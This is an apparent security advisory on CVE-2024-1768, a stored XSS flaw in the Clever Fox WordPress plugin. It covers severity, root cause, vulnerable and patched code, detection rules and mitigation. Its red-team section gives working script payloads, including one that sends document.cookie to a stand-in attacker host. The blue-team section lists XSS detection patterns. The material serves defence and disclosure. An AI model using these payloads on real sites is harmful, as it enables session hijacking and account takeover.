CVE-2024-1768

Executive Summary

CVE-2024-1768 is a Stored Cross-Site Scripting (XSS) vulnerability in the Clever Fox plugin for WordPress, affecting all versions up to and including 25.2.0. The flaw resides in the plugin's info box block, where insufficient input sanitization and output escaping on user-supplied attributes allow authenticated attackers with contributor-level permissions or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, leading to potential session hijacking, data theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or patch is currently available.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the Clever Fox plugin. It does not affect NPM, PyPI, Go, or Ruby packages. The plugin is distributed via the WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin installations and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level or above)
• User Interaction: None
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• EPSS Score: 0.0% (Low exploitation probability)

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the WordPress plugin ecosystem. The Clever Fox plugin's info box block uses shortcode attributes to render content. The plugin fails to properly sanitize user-supplied attributes (e.g., title, description, or custom CSS classes) before storing them in the database. When the block is rendered on a page, the unsanitized data is output without escaping, allowing an attacker to inject JavaScript.

Attack Flow:

1. An authenticated user with contributor-level access creates or edits a post/page.
2. The user inserts the Clever Fox info box block and sets a malicious attribute value, e.g., title="<script>alert('XSS')</script>".
3. The plugin stores this value in the WordPress database without proper sanitization.
4. When any user (including administrators) visits the page, the script executes in their browser.

Root Cause: The plugin uses esc_attr() or similar functions inconsistently, or relies on user input directly in HTML attributes without proper encoding. The wp_kses() function may not be applied to all attributes.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common fixes.

Vulnerable Code (example from Clever Fox <= 25.2.0):

// In a shortcode handler or block render function
$title = $attributes['title'];
echo '<div class="info-box" title="' . $title . '">';

Patched Code (hypothetical):

$title = esc_attr( $attributes['title'] );
echo '<div class="info-box" title="' . $title . '">';

The patched version would use esc_attr() to escape the attribute, preventing script injection. Additionally, wp_kses() should be applied to any HTML content within the block.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Clever Fox plugin <= 25.2.0
• Contributor-level account or higher

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Insert the Clever Fox info box block.
4. In the block settings, set the title attribute to:

   "><script>alert(document.cookie)</script>
   

5. Publish the post.
6. When an administrator or other user views the post, the script executes.

Example Payloads:

• Steal cookies: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
• Deface page: <script>document.body.innerHTML='<h1>Hacked</h1>'</script>

Blue Team

Detection:

• Monitor for posts/pages created by contributor-level users containing suspicious HTML attributes.
• Look for patterns like onload=, onerror=, <script>, or javascript: in post content.
• Use WAF rules to block common XSS payloads in POST requests.

Hunting Query (WordPress Database):

SELECT ID, post_title, post_content
FROM wp_posts
WHERE post_content LIKE '%<script>%'
   OR post_content LIKE '%onload=%'
   OR post_content LIKE '%onerror=%';

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/clever-fox/ (any file containing unsanitized attribute output)
• Database: Posts/pages with post_content containing <script>, onload, onerror, or javascript: in Clever Fox block attributes.
• Network: Outbound requests to attacker-controlled domains from WordPress admin pages.
• Logs: WordPress audit logs showing contributor-level users creating posts with unusual HTML.

Detection Engineering

YARA Rule

rule CVE_2024_1768_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Clever Fox plugin content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1768"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on(error|load|click|mouseover)\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via Clever Fox Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress posts using Clever Fox plugin
author: Valters IT
date: 2025-04-10
references:
    - CVE-2024-1768
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains:
            - '<script>'
            - 'onload='
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1768 Stored XSS Payload in POST"; flow:to_server,established; content:"POST"; http_method; content:"wp-admin"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Clever Fox plugin until a patch is released.
2. Restrict contributor-level accounts from using the info box block via user role editor plugins.
3. Implement a Web Application Firewall (WAF) with rules to block common XSS payloads.

Long-term Fix:

• The vendor must release a patched version (e.g., 25.2.1) that properly sanitizes and escapes all user-supplied attributes using esc_attr(), esc_html(), and wp_kses().
• Users should update to the latest version once available.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this vulnerability.
• Manually audit and sanitize any posts containing Clever Fox blocks.

Valters IT